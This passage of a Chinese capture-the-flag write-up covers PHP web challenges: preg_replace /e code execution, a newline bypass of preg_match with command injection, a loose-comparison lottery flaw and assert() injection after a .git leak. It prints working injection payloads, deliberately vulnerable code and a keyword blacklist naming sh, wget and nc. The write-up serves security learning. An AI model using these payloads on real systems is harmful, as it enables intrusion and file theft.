$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
-
伪装IP地址为127.0.0.1
-
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(前提是 subject 中有 pattern 的匹配)。 提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
bp一下或者使用插件(我这里使用的是==Modify Header Value (HTTP Headers)==):
这里真是太搞了,全看了一便才发现返回的部分在源代码里,没显示出来:
获取即可:
搞定!!!!
018 favorite_number
启动靶机:
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
- 首先是个判断,既要数组强等于,又要首元素不等
- 然后是个正则,要求整个字符串都是数字,大小写不敏感
- 最后是个黑名单,把常用的都排除了
第一个就给我看傻了,好在他给了php的版本号,可以查看一下之前的漏洞:整数在16进制下是8位数,一旦出现第九位是1,那么这个下标在比较的时候和下标为0是一样的。
preg_match默认匹配到换行符就认为匹配结束,故可以使用%0a跳过检测:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
命令查询有如下:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 20190647`
理论很完美,但是我一直搞不出来,看师傅们的wp,也做不对,疯狂弹出:
019 lottery
打开靶机:
按部就班往下看:
要单纯玩游戏玩到flag不知道要多久,查看附件:
查看api.php
:
API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数
<?php
require_once('config.php');
header('Content-Type: application/json');
function response($resp){
die(json_encode($resp));
}
function response_error($msg){
$result = ['status'=>'error'];
$result['msg'] = $msg;
response($result);
}
function require_keys($req, $keys){
foreach ($keys as $key) {
if(!array_key_exists($key, $req)){
response_error('invalid request');
}
}
}
function require_registered(){
if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){
response_error('register first');
}
}
function require_min_money($min_money){
if(!isset($_SESSION['money'])){
response_error('register first');
}
$money = $_SESSION['money'];
if($money < 0){
$_SESSION = array();
session_destroy();
response_error('invalid negative money');
}
if($money < $min_money){
response_error('you don\' have enough money');
}
}
if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){
response_error('please post json data');
}
$data = json_decode(file_get_contents('php://input'), true);
if(json_last_error() != JSON_ERROR_NONE){
response_error('invalid json');
}
require_keys($data, ['action']);
// my boss told me to use cryptographically secure algorithm
function random_num(){
do {
$byte = openssl_random_pseudo_bytes(10, $cstrong);
$num = ord($byte);
} while ($num >= 250);
if(!$cstrong){
response_error('server need be checked, tell admin');
}
$num /= 25;
return strval(floor($num));
}
function random_win_nums(){
$result = '';
for($i=0; $i<7; $i++){
$result .= random_num();
}
return $result;
}
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
function flag($req){
global $flag;
global $flag_price;
require_registered();
$money = $_SESSION['money'];
if($money < $flag_price){
response_error('you don\' have enough money');
} else {
$money -= $flag_price;
$_SESSION['money'] = $money;
$msg = 'Here is your flag: ' . $flag;
response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
}
}
function register($req){
$name = $req['name'];
$_SESSION['name'] = $name;
$_SESSION['money'] = 20;
response(['status'=>'ok']);
}
switch ($data['action']) {
case 'buy':
require_keys($data, ['numbers']);
buy($data);
break;
case 'flag':
flag($data);
break;
case 'register':
require_keys($data, ['name']);
register($data);
break;
default:
response_error('invalid request');
break;
}
中间有一段关于比较的核心代码:
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
弱比较,可以输入true进行比较:
直接购买就行:
020 mfw
打开环境:
拿dirsearch扫一下试试:
扫出来了git泄露,拿scrabble或者scrabble恢复一下:
还是查看index.php吧。
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
- assert()函数会将括号中的字符当成代码来执行,并返回true或false。
- strpos()函数会返回字符串第一次出现的位置,如果没有找到则返回False
- file变量是用page变量拼接而成的,而且没有任何的过滤
构造payload:
/?page=');//
/?page=').system("cat ./index.php");//
/?page=').system("cat ./templates/flag.php");//
得到flag: